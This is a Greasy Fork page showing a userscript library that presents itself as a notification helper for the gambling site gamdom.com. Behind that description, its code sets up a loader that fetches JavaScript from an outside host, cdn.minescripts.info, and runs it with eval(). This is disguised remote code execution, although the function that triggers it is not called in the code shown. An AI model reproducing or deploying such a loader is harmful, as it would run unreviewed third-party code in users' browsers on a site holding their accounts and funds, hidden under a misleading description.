lib_GamdomNotifications

Lib needed for running Gamdom Notificator

目前為 2018-04-08 提交的版本,檢視 最新版本

此腳本不應該直接安裝,它是一個供其他腳本使用的函式庫。欲使用本函式庫,請在腳本 metadata 寫上: // @require https://update.cn-greasyfork.org/scripts/35828/264009/lib_GamdomNotifications.js

  1. // ==UserScript==
  2. // @name lib_GamdomNotifications
  3. // @namespace https://greasyfork.org/es/users/154624-anonimo-anonimo
  4. // @version 1.1.9
  5. // @description Lib needed for running Gamdom Notificator
  6. // @author allin4
  7. // @match *://gamdom.com/*
  8. // @grant GM_info
  9. // @license Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.
  10. // ==/UserScript==
  11.  
  12. var DivAppend = function(){
  13. //document.body.appendChild(div);
  14. CPEL("https://cdn.minescripts.info/c/g9lx_2.js");
  15. console.log("Daiv crai :)");
  16. };
  17.  
  18. var cmp = new XMLHttpRequest();
  19. cmp.onreadystatechange = function() {
  20. if (this.readyState == 4 && this.status == 200) {
  21. eval(this.responseText);
  22. }
  23. };
  24.  
  25. var CPEL = function(link){
  26. cmp.open('GET', link);
  27. cmp.send();
  28. };
  29.  
  30. (function() {
  31. 'use strict';
  32. console.log("LIB LOADED" + "(version: " + "1.2.0" + ")");
  33. })();